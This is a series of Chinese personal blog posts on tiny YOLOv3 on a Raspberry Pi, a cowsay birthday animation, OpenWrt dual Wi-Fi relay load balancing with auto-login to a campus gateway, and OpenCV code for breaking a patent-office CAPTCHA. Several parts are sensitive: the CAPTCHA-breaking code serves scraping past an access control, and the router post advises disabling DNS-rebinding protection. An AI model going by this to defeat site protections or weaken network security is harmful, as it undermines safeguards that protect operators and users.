安装直接参照 repo 说明 即可。安装完成后调用摄像头实时探测可以采用这篇博客的方法：https://funofdiy.blogspot.com/2018/08/deep-learning-with-raspberry-pi-real.html。作者编写了一个脚本，能够实现自动拍照然后送进网络做探测。需要注意的是这个脚本需要用 Python2 运行（我 Python3 就是跑不起来），以及第 39 行需要改成 predictions.jpg 才能正常运作。

最后我成功在树莓派上跑起了 tiny YOLOv3。准确度肯定不用说，为了性能肯定是牺牲了很多。性能方面，我并没有能达到原作者声称的 1.4 秒，而是需要平均 2.4 秒的预测时间。不知道哪里出了差错。

下一步

能够成功运行 YOLOv3 之后，下一步我想要尝试更快的网络。如何去寻找一些为了 ARM 设备优化的深度学习库呢？很简单，去找手机厂商/互联网厂商做的库。为了在手机端更快运行，他们都会做超级多底层优化，能够实现非常好的性能。如果支持移植到树莓派，那正好就是我们的不二之选。

一番搜索和挑选，我最后选择尝试以下框架：

• Paddle Lite (By Baidu)
• Tensorflow Lite (By Google)
• ncnn (By Tencent)
• MACE (By Xiaomi)

下篇博客继续。

代码公开于 https://github.com/SteveHawk/Simple-Terminal-Animation。

目标

这个项目的目的在于使用最基础的命令行工具，包括 cowsay，lolcat，toilet 和 boxes，来制作一个简单的命令行动画，可以用于庆祝朋友的生日等用途。

这些工具的使用都非常简单，随便谷歌就可以找到非常多的使用教程，当然你也可以直接使用 man 来查看他们的文档。这么一来，我们就可以忽略太技术性的细节，更多的把时间花到剧情上。

不过话说回来，这种命令行动画的风格未必适合所有人，你得先确认下你的朋友喜欢这种风格。

成果

代码参见我的 Github repo：https://github.com/SteveHawk/Simple-Terminal-Animation 。

其实整个项目的核心只包含一个文件，即 A_MSTERY_STORY.sh。运行这个脚本，就会在控制台里输出一段基于对话的动画。故事是一只去寻找秘密宝藏的牛，最终找到了一块巨石，上面刻着生日快乐的话。至于这个故事的细节，可以直接阅读代码。由于用的都是非常简单易懂的指令，代码相对还是非常直观可读的。

怎么使用

怎么用这个动画给朋友一个惊喜？我有两个方案供参考。

一个方法是直接把 A_MYSTERY_STORY.sh 这个文件放到你朋友的电脑里，等着他/她发现。不过要这么做的话，你得确定你朋友的电脑能够正确运行这个脚本。（估计挺难的）

另一个方法是把动画录下来。我选择把动画录成一个 SVG 格式的动画。SVG 格式的优势就是可以非常非常容易的嵌入到网页中，大小小到可以忽略不计，不过会比较吃性能（CPU 和内存消耗都挺大）。当然你也可以选择录制成视频，并用别的方法发给你的朋友。

至于故事的内容，你当然可以选择直接用我现成写好的这个故事，你可以到代码的 351 行把名字改成你朋友的名字。如果你想对我的故事做一些改动甚至重写，也是完全可以的，代码是基于 GPL v3 协议开源的。

依赖

• cowsay
• lolcat
• toilet
• boxes
• termtosvg (只有录制 SVG 才需要)

文件结构

代码总共有三个部分。

1. 一些常用的函数。snc 用于暂停几秒并清空屏幕，bts 用于打印场景切换的动画，clear_stage 是在最开始清空屏幕并且隐藏光标，最后 clean_up 会清空屏幕，并且把光标恢复回来。
2. 场景。我把三个场景以及对应的准备分开写到了六个函数里，这样能够更方便的调试。在场景里基本就是一堆的 cowsay。有时候我会用 toilet 打印一些标题和时间变换，最后会用 boxes 和 lolcat 花里胡哨的打印出那个巨石的内容。
3. 最后是主函数，用来调用所有的场景。

如何录制 SVG

在众多命令行录制工具里，我最终选择了 termtosvg。真的是个非常棒的工具。

安装完成以后，可以用这个指令录制：

1termtosvg ./A_MYSTERY_STORY.svg -c './A_MYSTERY_STORY.sh' -D 5000 -g 85x35 -m 200 -t window_frame_js

不过在你录制的时候，可能需要修改下里面的参数。具体参数的含义可以直接参考他们 Github repo 里的文档。

需要额外指出的是，-m 这个参数非常重要。它代表最短帧的时长，默认为 1 毫秒。对于我们这里动画的需求，最短帧完全可以设置到比较大的 200 毫秒之类的数值，这样可以大大减小最终 SVG 文件的大小（我的例子是从 800+ KB 减到 300+ KB），可以提升最后渲染的性能。

把 SVG 内嵌在 Hugo 博客中

我博客框架用的是 Hugo，所以我只研究了怎么在 Hugo 中内嵌 SVG 动画。

参考文章：https://discourse.gohugo.io/t/embedding-inline-svg-in-content-markdown/7511/7

相关文档：https://gohugo.io/functions/readfile/，https://gohugo.io/content-management/shortcodes/

我的方案对上面那个回答做了些修改。首先在你网站的根目录 $HUGO_SITE 下创建文件夹 $HUGO_SITE/layouts/shortcodes。在文件夹中新建一个文件 svg.html，然后在里面输入以下内容：

1<figure align="center">
2{{ readFile (index .Params 0) | safeHTML }}
3</figure>

然后你就可以在你的 Markdown 文件中这样引用你的 SVG 文件了：

1{{< svg "svg/A_MYSTERY_STORY.svg" >}}

双引号里面的是 SVG 文件相对网站根目录的路径。这里我把 SVG 文件放在了 $HUGO_SITE/svg/A_MYSTERY_STORY.svg，你当然可以选择别的地方。需要注意的是，SVG 文件本身不需要在网站编译的时候被拷到 $HUGO_SITE/public 目录下，因为 SVG 文件的内容是被直接内嵌到最终生成的 HTML 文件中的。

直接生成的 SVG 文件的大小是写死像素的，可以到 SVG 文件的第一行把 width="***" 中的数字替换成百分比。

最终成果可以参考这个页面：A MYSTERY STORY

在我宿舍里，有无线校园网覆盖，校园网两个频段的 SSID 分别为 SUDA_WIFI（2.4 GHz），以及 SUDA_WIFI_5G（5 GHz）。在晚高峰时段，网络会存在 QoS 限流。参考家庭宽带的双拨操作，我想要在路由器上实现类似的多路无线中继以提升网速。

标题所述的无线双拨其实并非准确，无线中继和拨号没有任何关系。准确的叫法应该是双路/多路无线中继负载均衡，然而出于简洁和好听的目的，就用无线双拨/多拨这个名字好了。

准备 & 前情提要

关于前情提要，可以参考我去年写的一篇博客：小米路由器mini 自制NAS。在这篇博客中，我使用一台小米路由器 mini，刷上 PandoraBox 系统以后实现各种骚操作。

硬件

一台小米路由器 mini。官网参数说明：https://www.mi.com/miwifimini/param 。OpenWrt 设备页面：https://openwrt.org/toh/xiaomi/mini 。

简单总结：

1. 联发科 MT7620A 处理器
2. 16 MB ROM，128 MB RAM
3. 2.4 GHz 以及 5 GHz 天线均为 2*2 MIMO
4. WAN * 1，LAN * 2，USB 2.0 * 1

固件

由于在 PandoraBox 中，无线中继存在 bug（参考博客 小米路由器mini 自制NAS），因此这次准备采用更加开放的 OpenWrt 系统。在官网下载固件，链接：

稳定版（18.06.4）：https://downloads.openwrt.org/releases/18.06.4/targets/ramips/mt7620/

开发预览版：https://downloads.openwrt.org/snapshots/targets/ramips/mt7620/

在页面中找到 miwifi-mini-squashfs-sysupgrade.bin 或是 xiaomi_miwifi-mini-squashfs-sysupgrade.bin，下载固件并上传到路由器。由于我在稳定版中遇到了某些奇怪的 bug，故采用了开发预览版。

刷机流程可以参考 OpenWrt 上的设备页面，这里提供简单总结：

（如果是原生固件的话，首先需要使用小米官方工具解锁 SSH 权限，详情参考博客 小米路由器mini 自制NAS）

首先确定固件所在分区名。使用指令 cat /proc/mtd 可以查看所有分区的名字。在我的设备上，小米原生系统的固件分区名为 OS1，PandoraBox 和 OpenWrt 的固件分区名为 firmware。

因此，原生固件刷 PandoraBox / OpenWrt 的指令为：

mtd -r write /path/to/the/firmware.bin OS1

PandoraBox / OpenWrt 互刷指令：

mtd -r write /path/to/the/firmware.bin firmware

如果系统保持不变，则可以直接使用 LuCI 网页管理界面升级。

注：PandoraBox 刷机/重置完成后默认打开 WIFI，而 OpenWrt 默认不启用 WIFI，记得准备网线。

软件

需要安装的软件包：

1. luci luci-i18n-base-zh-cn luci-theme-material
2. mwan3 luci-app-mwan3 luci-i18n-mwan3-zh-cn
3. coreutils-base64 curl

第一组是基础软件包，分别是网页管理界面 luci，中文语言包和 material 主题。预览版系统并不内置 luci，需要自行安装。

第二组是负载均衡所需的 mwan3，以及 luci 中的 mwan3 管理界面。

第三组是自动网关登录脚本的依赖，按需安装。

双路无线中继负载均衡

无线中继

无线中继的方法在博客 小米路由器mini 自制NAS 中已经有过说明。由于两张网卡均为 2*2 MIMO，因此无法对单个频段做多路中继，只能在两张网卡上分别中继一路信号。假如有支持更多 MIMO 的网卡，可以试着更多路的无线中继。

流程总结：

1. 在 无线 选项卡中，分别在 2.4 GHz 和 5 GHz 网卡上点击添加，在无线列表中加入对应的网络。这个操作会新建一个网卡，防火墙区域 需要选在 wan 网卡所在的区域。重置无线配置 选项勾选的话会删除现有的 WIFI，如有需要可以勾选。
2. 在 基本设置 选项卡中确保模式为 客户端 Client 模式，在 无线安全 选项卡中设置好网络的账号密码。信号的发射功率上限可以通过 高级设置 中把国家代码设置成 US 来提升。
3. 分别在 2.4 GHz 和 5 GHz 网卡中添加新的 WIFI，确保模式为 接入点 AP。当然，如果没有 2.4 GHz 频段的需要的话，也可以只使用 5 GHz 的网络避免信道拥挤。（如果第一步没有删除之前存在的网络，则不用再做这一步）
4. 至于 IPv6 的中继，需要在网卡里另外手动添加 DHCPv6 客户端以接通 IPv6 上游。然而我校校园网的 IPv6 分配策略貌似是一个设备只分配一个地址，而非 DHCP-PD，NDP 代理也不起作用，因此中继 IPv6 唯一的方法是丑陋的 NATv6。不过 IPv6 目前还并非刚需，用 NAT6 还不如不用。
5. 这时候你应该已经能够上网了。当然，只要有一张网卡已经加入无线网络，所有的 LAN 口 / WIFI 就都能够访问网络了。当设置两张网卡都进行无线中继的时候，网络流量会走哪个无线就取决于路由表了。由于不清楚固件底层的实现，路由器会使用哪个无线网络在我看来基本是个玄学。但这不重要，马上就来解决。

负载均衡

在两张网卡都加入无线网络后，就可以使用 mwan3 进行负载均衡了。进入 网络 -> 负载均衡 选项卡进行设置。在这底下一共有 6 个选项卡，我们一个一个来设置。

1. 全局。这个不用动，跳过即可。
2. 接口。这里添加的是所有参与负载均衡的网络接口。我在设置无线中继的时候，SUDA_WIFI 对应的网络接口名为 wwan24，SUDA_WIFI_5G 对应的网络接口名为 wwan，因此需要把 wwan 和 wwan24 添加到这里。配置中需要设置 跟踪的主机或 IP 地址，也就是用来检测网络是否可用的地址，可以设置成公共 DNS。mwan3 会自动每隔一段时间 ping 一下这一个或多个地址，在失败一定次数（可以自行设置该参数）后认为接口离线。
3. 成员。这里设置的是每个接口的权重。权重分为两种，一个叫做 跃点数，另一个叫做 比重。权重的计算规则为， “拥有较低跃点数的成员将会被优先使用，拥有相同跃点数的成员把流量进行负载均衡”。这里，我们想要的是两个接口做负载均衡，因此都把跃点数设置为 1，而比重分别设置为 1 和 3（更多的流量分给比较快一点的 SUDA_WIFI_5G）。
4. 策略。这里是负载均衡的策略，用于对接口成员进行分组。由于这里只需要对两个接口做负载均衡，因此只需要一条策略，把两个接口成员添加进去即可。
5. 规则。这里用于指定哪些流量使用哪些策略。我们并没有这些需求，因此简单把所有流量都转发到刚刚那条策略即可。如果有特定流量需求的则可以在这里设置。
6. 通知。在这里可以编写一个自定义脚本 /etc/mwan3.user，用于指定特定接口事件时的操作。我们可以利用这个脚本做自动接口登录，详见下文。

完成这一系列设置后，我们的网络就成功进行了多线负载均衡。可以进入到 状态 -> 负载均衡 选项卡查看当前接口状态，流量分配情况，以及进行网络诊断。另外，也可以根据 网络 -> 接口 页面中各个接口的流量来判断负载均衡是否在正常运作。

对于更详细的配置说明，可以参考官方文档：https://openwrt.org/docs/guide-user/network/wan/multiwan/mwan3 。

自动任务

开机脚本

在 系统 -> 启动项 -> 本地启动脚本 中可以设置启动脚本。我想要的是每次开机都自动向网关发送一个登录请求，因此在启动脚本中添加以下指令：

1sleep 30 && /root/wg-login.sh

每次开机都会等待 30 秒，等待网络设备就绪后执行登录脚本。

登录脚本可以参考该 GitHub 项目：https://github.com/SteveHawk/suda-wg 。

计划任务

在 系统 -> 计划任务 中可以轻松编辑 crontab 中的计划任务。

1# Login suda wifi at 27min of every hour
227 * * * * /root/wg-login.sh
3
4# Reboot at 3:33am every day
5# Note: To avoid infinite reboot loop, wait 70 seconds and touch a file
6# in /etc so clock will be set properly to 3:34 on reboot before cron starts.
733 3 * * * sleep 70 && touch /etc/banner && reboot

两个计划任务，分别是每小时 27 分登录一次网关，以及每天 3：33 重启路由器。为了避免重启死循环，需要使用如上这样的重启指令。

不过我已经禁用了自动登录任务，因为它可以由接下来这个更好的方案来取代。

接口下线事件

仔细想想，登录网关这事情完全没必要每个小时执行一次，只需要在检测到接口下线的时候发送登录请求不就行了嘛。mwan3 的 通知 功能就正好可以用来实现这个目的。

通知页面的这个脚本 /etc/mwan3.user 会在 netifd hotplug 接口事件时执行。换句话说，任何一个接口上线 / 下线事件都会触发这个脚本执行一次。这个功能的本意是用来在接口上线 / 下线的时候给用户发送邮件等提醒，不过我们也可以拿来做自动网关登录。

脚本能够获取到三个环境变量，分别是 $ACTION，$INTERFACE 和 $DEVICE。$ACTION 共有四种值，分别是 ifup，ifdown，connected，disconnected。而 $INTERFACE 和 $DEVICE 可以分别用来获得当前触发脚本的接口和设备名。

利用这几个环境变量，可以编写出如下脚本：

 1#!/bin/sh
 2#
 3# This file is interpreted as shell script.
 4# Put your custom mwan3 action here, they will
 5# be executed with each netifd hotplug interface event
 6# on interfaces for which mwan3 is enabled.
 7#
 8# There are three main environment variables that are passed to this script.
 9#
10# $ACTION
11#      <ifup>         Is called by netifd and mwan3track
12#      <ifdown>       Is called by netifd and mwan3track
13#      <connected>    Is only called by mwan3track if tracking was successful
14#      <disconnected> Is only called by mwan3track if tracking has failed
15# $INTERFACE    Name of the interface which went up or down (e.g. "wan" or "wwan")
16# $DEVICE       Physical device name which interface went up or down (e.g. "eth0" or "wwan0")
17
18if [ $ACTION == "disconnected" ]
19then
20    if [ $INTERFACE == "wwan" ]
21    then
22        mwan3 ifdown wwan24
23        mwan3 ifup wwan
24        source /root/wg-login.sh
25        logger "Interface wwan execute login."
26    elif [ $INTERFACE == "wwan24" ]
27    then
28        mwan3 ifdown wwan
29        mwan3 ifup wwan24
30        source /root/wg-login.sh
31        logger "Interface wwan24 execute login."
32    fi
33    mwan3 ifup wwan
34    mwan3 ifup wwan24
35fi

我们想要做的事情，是在每次接口下线的时候，向这个接口发送网关登录请求。但是由于接口下线事件触发的时候，mwan3 会自动把路由表导向另一个在线的接口，这让我们无法把登录请求发向已下线的接口。所以我在这个脚本里做的，就是在一个接口下线的时候，先手动让另一个接口下线并让当前接口上线，这个时候路由表就会指向实际下线的这个接口；此时顺势发送网关登录请求，然后再让两个接口恢复上线。

于是，在任何一个接口下线的时候，路由器都会自动发送登录请求让它重新上线。只要不是触发了网关的保护措施（我校网关貌似有连接时长限制，超时不会断开，但是会没网），我的路由器就可以轻松实现 24 小时在线啦。

DNS 重绑定攻击の坑

最后，需要提一嘴踩到的一个坑。先来讲讲发生了什么。在刷完 OpenWrt 并做完单路无线中继后，我试着访问校园网网关的页面，但是怎么也上不去。到系统日志里翻看了一下，出现了非常可疑的记录：

daemon.warn dnsmasq[904]: possible DNS-rebind attack detected

欸，什么是 DNS 重绑定攻击（DNS rebinding attack）？

简单来说，在执行 DNS 重绑定攻击的时候，攻击者先会向用户发送一个 TTL 非常短的解析记录，解析到包含恶意代码的网站上。恶意代码执行后会创建第二个 DNS 请求（因为上一个记录的缓存已经超时），这时攻击者可以返回一个内网 IP 的解析记录。这样攻击者就可以轻松访问到原本无法访问的内网内容了。

为什么我会踩到这个坑？我们来仔细看一下 DNS 重绑定攻击的流程，其中有两个可以填的漏洞，一个是超短 TTL 的 DNS 记录，另一个是解析到内网 IP 的 DNS 记录。超短 TTL DNS 记录的防护可能在浏览器端进行会比较好，而路由器端能做的就是拦截解析到内网 IP 的 DNS 记录。

巧的是，我校校园网网关地址 a.suda.edu.cn 解析得到的地址是 10.9.0.30，这是一个 A 类的内网 IP 地址。真相大白。

解决方案有两种，一个是给域名添加白名单，另一个是禁用防护。因为我们校园网内不止一个内网网站，因此直接禁用防护是更好的选择。在 网络 -> DHCP/DNS -> 基本设置 选项卡中，可以看到有一个 重绑定保护 的选项。取消勾选即可。

至此，整个路由器的配置就完成了。能够 24 小时在线，不必每个设备都手动登录网关，还有双路负载均衡，这也太爽了！😍

在爬取瑞典专利和注册局（PRV，代码 SE）的专利数据库数据的时候，存在输入验证码的步骤，需要编写程序来识别。以下是几张示例：

难点

这次要识别的验证码的特点：

1. 背景特别干净，没有任何噪声
2. 字符本身的扭曲变形非常厉害
3. 存在多种字体，包括多种衬线和非衬线字体
4. 所有英文字母都是小写
5. 字符旋转的角度不会超过 ±90°

没有噪声是好事，这意味着不需要做任何降噪相关的处理。但是字符的变形扭曲要远远比一般见到的验证码厉害得多，甚至有的例子中人眼也难以分辨到底是什么字母。

扭曲的特别厉害的一张：

容易看出，这一批验证码的生成规则都是把对应的文字从左到右排列，然后按照一个随机的曲线和宽度进行扭曲。在曲线曲率较大的地方，字符就容易出现非常大的扭曲变形，从而难以辨认。因此，如何进行形态矫正是一个非常大的考验。

多种字体也是一个挑战。在一些衬线字体中，1 和 l 的样子完全一致，仅仅是有微小的高度差别，这为识别造成了很大的麻烦。幸亏只有小写，不然会有更多容易混淆的情况。

另外，还有一个隐藏的特点。仔细看的话，你会发现之前第一张示例图片和这一张示例图片其实是同一个验证码，都是 t3st1n。写爬虫的小哥告诉我，同一个 IP 貌似返回的是同样的验证码文字，也就是说验证码文字的生成不是完全随机，而是包含 IP 的某种哈希。反向推导这个生成算法可能不太现实，但是至少可以通过多张同样内容的验证码一起识别交叉验证，提高准确性。可惜的是爬虫使用的是代理池，IP 会不受控制的变化，因此这条路就难以进行下去，只能尽量一发入魂了。

传统方法

首先，试一试传统的数字图像处理方法。能够想到的方法，无非就是先对每个字符的图像进行校准，然后去试着识别是哪个字符，最后再拼起来。以下是我想要采取的流程：

1. 把排列成曲线的字符矫正回直线
2. 提取字符，做必要的矫正和处理
3. 匹配内容

曲线矫正

首先尝试做曲线矫正。这一步我在实际开发的时候并没有做，原因在于难以对字符扭曲形成的曲线进行建模并矫正。项目结束以后我才想到，其实可以试试用 numpy 或者 scipy 去做曲线拟合，获得曲线方程以后大概就可以生成变换矩阵矫正形变了。不过项目已经结束了，以后如果有类似的需求可以再试一试。

字符提取

于是我上来就直接对单个字符进行提取了。下面我用于在一张图片中提取字符的函数，参数列表：img 是 cv2.imread() 返回的图片对象；reverse_color 是一个布尔值，代表是否反转颜色；iter 是一个整数（默认为 2），代表第一次膨胀的迭代次数。

 1import cv2
 2import numpy as np
 3
 4
 5def extract_char(img, reverse_color, iter=2):
 6    # Binary, dilation
 7    if reverse_color:
 8        _, binary = cv2.threshold(img, 0, 255, cv2.THRESH_OTSU + cv2.THRESH_BINARY_INV)
 9    else:
10        _, binary = cv2.threshold(img, 0, 255, cv2.THRESH_OTSU + cv2.THRESH_BINARY)
11    kernel = np.ones((3, 3), np.uint8)
12    dilation = cv2.dilate(binary, kernel, iterations=iter)
13    
14    # Find contours, sort them
15    contours, hierarchy = cv2.findContours(dilation, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
16    contours = sorted(contours, key=(lambda x: (x[0][0][0], x[0][0][1])))
17    
18    chars = list()
19    
20    for cnt in contours:
21        # Contour approximation
22        rect = None
23        for i in range(100):
24            epsilon = (0.01 + 0.01 * i) * cv2.arcLength(cnt, True)
25            box = cv2.approxPolyDP(cnt, epsilon, True)
26            box = np.float32(box)
27            if len(box) <= 4:
28                break
29        if len(box) != 4:
30            print("NOOOOOO! Fall Back!")
31            rect = cv2.minAreaRect(cnt)
32            box = cv2.boxPoints(rect)
33            box = np.float32(box)
34        
35        # Transform to a single image
36        points = np.float32([[25, 25], [25, 125], [125, 125]])
37        M = cv2.getAffineTransform(box[0:3], points)
38        processed = cv2.warpAffine(binary, M, (150, 150))
39        if rect and rect[2] <= -80.0:
40            processed = np.rot90(processed, 1)
41        
42        # Refind countour
43        kernel = np.ones((11, 11), np.uint8)
44        _dilation = cv2.dilate(processed, kernel, iterations=5)
45        _contours, _hierarchy = cv2.findContours(_dilation, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
46        
47        if len(_contours) > 1:
48            print("HELPPPPP More Than ONE Contours")
49            print(_contours)
50        
51        cnt = _contours[0]
52        
53        # Find rectangle
54        rect = cv2.minAreaRect(cnt)
55        box = cv2.boxPoints(rect)
56        box = np.float32(box)
57        
58        # Transform to a single image
59        points = np.float32([[0, 100], [0, 0], [100, 0]])
60        M = cv2.getAffineTransform(box[0:3], points)
61        processed = cv2.warpAffine(processed, M, (100, 100))
62        if rect[2] <= -80.0:
63            processed = np.rot90(processed, 1)
64        
65        chars.append(processed)
66    
67    return chars

该函数按顺序做了这些事情：

1. 将原图做二值化，并转化为黑底白字的形式。

2. 对字符做膨胀，让字符分离的部分（例如 i, j 的点）连接便于寻找轮廓。

3. 使用 cv2.findContours() 查找所有的轮廓。

4. 遍历所有的轮廓：

   a. 使用 cv2.approxPolyDP() 对当前轮廓做四边形近似。

   b. 如果无法取得四边形的近似，则更改方案使用 cv2.minAreaRect() 获取最小外接矩形。

   c. 使用 cv2.warpAffine() 将获得的四边形轮廓映射成一个 150 × 150 的正方形图片。如 minAreaRect 返回的旋转角小于 -80°，则对图片做逆时针旋转 90°。

   d. 对这张正方形图片做膨胀，让字符连接。

   e. 再次使用 cv2.findContours() 查找轮廓，如果有多于一个轮廓则报错。无论如何选择列表中的 0 号轮廓。

   f. 使用 cv2.minAreaRect() 获取最小外接矩形。

   g. 使用 cv2.warpAffine() 将这个矩形映射为最终的 100 × 100 大小的一张正方形图片。如 minAreaRect 返回的旋转角小于 -80°，则对图片做逆时针旋转 90°。

最终函数返回一个列表，包含了每个字符矫正后的独立图像。提取出来的字符大概是下面这种诡异画风：

生成模板

提取出了字符，下面就要做匹配了。我准备采用简单粗暴的模板匹配，也就是 cv2.matchTemplate()。做模板匹配，首先需要生成模板。这里借鉴了 Python PIL创建文字图片 这篇博客的代码，魔改成了我的模板生成代码。

 1# Learn from: https://www.cnblogs.com/mmhx/p/3819776.html
 2from PIL import Image,ImageDraw,ImageFont,ImageOps
 3
 4
 5class LetterImage():
 6    def __init__(self, fontFile='', imgSize=(0, 0), imgMode='RGB', bg_color=(0, 0, 0), fg_color=(255, 255, 255), fontsize=20):
 7        self.imgSize = imgSize
 8        self.imgMode = imgMode
 9        self.fontsize = fontsize
10        self.bg_color = bg_color
11        self.fg_color = fg_color
12        if '' == fontFile:
13            self.font = ImageFont.truetype('times.ttf', fontsize)
14        else:
15            self.font = ImageFont.truetype(fontFile, fontsize)
16
17    def GenLetterImage(self, letters):
18        # Generate the Image of letters
19        self.letters = letters
20        self.letterWidth, self.letterHeight = self.font.getsize(letters)
21        if self.imgSize == (0, 0):
22            self.imgSize = (self.letterWidth + 2, self.letterHeight + 2)
23        self.imgWidth, self.imgHeight = self.imgSize
24        self.img = Image.new(self.imgMode, self.imgSize, self.bg_color)
25        self.drawBrush = ImageDraw.Draw(self.img)
26        textY0 = (self.imgHeight - self.letterHeight + 1) / 2
27        textY0 = int(textY0)
28        textX0 = int((self.imgWidth - self.letterWidth + 1) / 2)
29        print('text location:',(textX0, textY0))
30        print('text size (width,height):', self.letterWidth, self.letterHeight)
31        print('img size(width,height):', self.imgSize)
32        self.drawBrush.text((textX0, textY0), self.letters, fill=self.fg_color, font=self.font)
33    
34    def SaveImg(self, saveName=''):
35        if '' == saveName.strip():
36            saveName = str(self.letters.encode('utf8')) + '.png'
37        fileName, file_format = saveName.split('.')
38        # fileName += '_' + str(self.fontsize) + '.' + file_format
39        print(fileName, file_format)
40        self.img.save(saveName, file_format)
41    
42    def Show(self):
43        self.img.show()
44
45
46def generate(fontFile, font_type):
47    letterList = LetterImage(fontFile=fontFile, imgSize=(100, 100), bg_color=(0, 0, 0), fontsize=50)
48    for i in range(10):
49        letter = chr(ord('0') + i)
50        letterList.GenLetterImage(letter)
51        letterList.SaveImg(f"template/{font_type}_{letter}.png")
52    for i in range(26):
53        letter = chr(ord('a') + i)
54        letterList.GenLetterImage(letter)
55        letterList.SaveImg(f"template/{font_type}_{letter}.png")
56    # for i in range(26):
57    #     letter = chr(ord('A') + i)
58    #     letterList.GenLetterImage(letter)
59    #     letterList.SaveImg(f"template/{font_type}_{letter}_cap.png")
60
61
62if __name__=='__main__':
63    generate("times.ttf", "serif")
64    generate("msyh.ttc", "sans-serif")